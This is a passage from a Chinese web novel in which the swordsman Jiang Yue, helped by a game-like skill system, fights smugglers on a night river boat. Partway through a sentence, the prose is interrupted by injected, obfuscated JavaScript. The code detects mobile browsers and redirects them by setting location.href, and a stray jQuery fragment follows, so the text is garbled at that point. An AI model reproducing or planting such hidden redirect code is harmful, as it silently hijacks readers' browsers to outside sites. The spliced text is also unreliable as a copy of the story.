水里扑通一声,因黑衣人挡在船尾,众人未能看见被丢出去的男子形容如何,但随之传来一阵咕噜咕噜,紧接着,四周便再无杂声。
所有人的目光都钉在江月身上。
窗台已被撞破,风从破洞中灌入,带着呜呜的夜哭。
那黑衣人站在船尾,面白薄须,一手背在身后,正微笑着看向他们。
“谁先来?”
江月重复一遍,手中剑已出鞘,剑光秋水一泓。
那两名汉子对视一眼,又扫视徐伟和老汉,面容发苦,心底暗暗叫了声倒霉。
四名桨夫将船桨一驻,均未敢说话,连船也不划了,只紧张地望着舱内的对峙,生怕一不小心便惹祸上身。
站在左侧的汉子上前一步,却是拱手道:“这位黑兄台,我等是疤爷底下……今日行个方便,日后也好相见。”
“好,那你们现在下船。”江月点了点头。
“阁下莫不是在说笑?”那汉子已显出恼怒神色。
船停在河中间,离着岸边少说三五十丈,夜色深沉,水流急湍,说是现在下船,其实大概就是喂鱼了。
“慢,我下船。”
此时插话的是徐伟,他缩着脖子小心翼翼地向周围人笑了笑,举着手,一步步挪向船头舱门。他扶住甲板上的围栏,只回头望了一眼。
也是扑通一声,他径直跳了下去,水花不小。
那大汉又变了脸色。
这趟货没有徐伟带路,他们的头儿吞了补给备用道的钱,哪怕将东西运进城里,也绝没有地方可以收。
任务失败,回去下场恐怕比喂鱼好不了多少。
退路已绝。
那大汉不再言语,亮出一对拳头,摆开了搏命的架势。另一名汉子抽出短剑,两人一左一右,冷冷地盯着江月。
“疤爷在哪?”江月斜举长剑,左手屈指轻弹剑身。
“妈的!你去地底下等着吧!”
亮出拳头的壮汉猛地一跺脚,船身微微一晃,他借着这股力道暴冲而至,碗口大的铁拳挟着风声,直轰江月面门,势要将他毙于拳下。
右侧持短剑的汉子嘶吼一声,人已如离弦之箭直直扑来,短剑直刺江月小腹,角度更是狠辣刁钻。
两人一上一下,配合无间,封住了江月左右闪避的空余。
江月却已然料准,立在原地,手中长剑化作一道笔直寒光,直取用拳大汉咽喉。
剑风凌冽,这一剑后发先到,逼得那汉子惊骇收拳,猛然后跃,先机顿失。
就在拳风骤歇的刹那,短剑已至。
然而此刻,技能栏里唯一的技能亮起了一圈QTE金色标识。
剑意八变——破剑式。
破尽天下剑招。
那柄袭来的剑,在江月的眼中被拆解成了抽象的图案,冰冷的剑锋不再是一个整体,而是无数交织、流动的线条与光点。
是矢量的轨迹、是气劲的节点,是招式衔接处细微如丝的破绽。
无需思考,江月将手中长剑凌空点下。
嗤——
羚羊挂角般的一剑,正正好点在他手背,那汉子只觉得手腕一软,紧接着短剑便遭挑飞,深深钉入头顶的舱板,兀自嗡嗡作响。
他踉跄后退,与那使拳的撞在一处,亮出自己颤抖流血的手,脸上写满了惊骇与难以置信。
“你俩吃馄饨,还是吃板刀面?”江月掸了掸裤子上不存在的灰,然而二人身后一直佝偻着身子,毫不起眼的老汉毫无征兆地一抬手,袖中一道乌光无声无息地疾射而出,直取江月咽喉。
乌光乍现,江月于千钧一发之际猛地偏头。
那枚透骨钉擦着他的鬓角飞过,没入身后船板,打出一道透光的小孔。
一击不中,那老汉更不迟疑,手自腰间一抹,抽出一柄奇门兵器——那兵刃软如银带,颤巍巍,亮闪闪,随着他手腕一抖,瞬间绷得笔直。
竟是一柄江湖上极罕见的软剑。
“敢惹我们铜钱会。”
老汉声音沙哑老迈,他将身形一展,原本佝偻之态尽去,竟与那俩壮汉一般挺拔精悍,步伐一错,便如鬼魅般欺近身前。
软剑在他手中,毒蛇吐信一般直刺江月周身要害,然而其剑路刁钻诡异,全然不依常理,刚猛直刺中夹杂着缠绕绞杀之劲,剑尖颤动间,化作数十点寒星,恍得人眼花缭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399606|184331||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乱。
江月眉头微蹙,系统此时只在视野里弹出红字,招式正在调息之中,静待片刻方可。
他当即变招,沉肩坠肘,立剑在前,以宽厚剑身抵御敌之来势,硬磕硬碰地格住诡异软剑。
“水平倒不错,小子……”
那老头赞了一声,将软剑斜斜劈出,直奔江月膝下而来。
长剑下劈,以剑脊拍向软剑,然而此刻老汉将手一抖,剑身立即划出一道刁钻弧线,避开江月横挡的剑身,取他腰间。
再退!江月纵跃而起,既然兵器不占优势,便以腾挪身法抢占先机。
此刻船身已摇晃不停,他将足尖在船舱壁板上一踏,身形似飞燕回还,不仅避开了这记刁钻狠辣的刺击,更跃至老汉上方。
然而船舱高度已是极限,二人近在咫尺,一剑下劈,一剑上撩,剑光如瀑,剑声交鸣,老汉不得不将内力鼓入软剑,强硬格开江月。
不错,一寸短一寸险,倘若是软剑,被欺入身前更是险之又险。
江月借力跳出,重重撞在舱门上,再次与老者拉开了距离。
老者站定,看了看自己微微发麻的右掌,又看向气息渐渐匀称的江月,眼中终于掠过一丝真正的凝重。
“好俊的身手,好利的剑。”
“药老……”一旁未敢插手的壮汉此刻发声,语气焦急。
然而,他话未说完,便被另一个声音打断。
“好了好了,你们打也打了,聊也聊了,还要做什么?”
一柄暗红链刃从船尾突兀刺来,直拴中老汉腰身,猛地收紧。
紧接着,船边哗啦一响,一颗脑袋冒了出来,正是之前主动跳下船的徐伟。
他湿漉漉地扒着船舷,嘴里还叼着根不知哪来的芦苇杆,吐掉之后,抹了把脸上的水,手上轮了个半圆,将那老头儿拽得离地飞起,重重砸进水面,溅起大片水花。
徐伟单手扒着船舷,目光扫过舱内目瞪口呆的众人。
“凌雪阁办事,双手抱头蹲下,脸冲墙!”
他顿了顿,视线落在离他最近的桨夫身上,冲着他抬了抬下巴。
“那个谁,过来拉我一把。”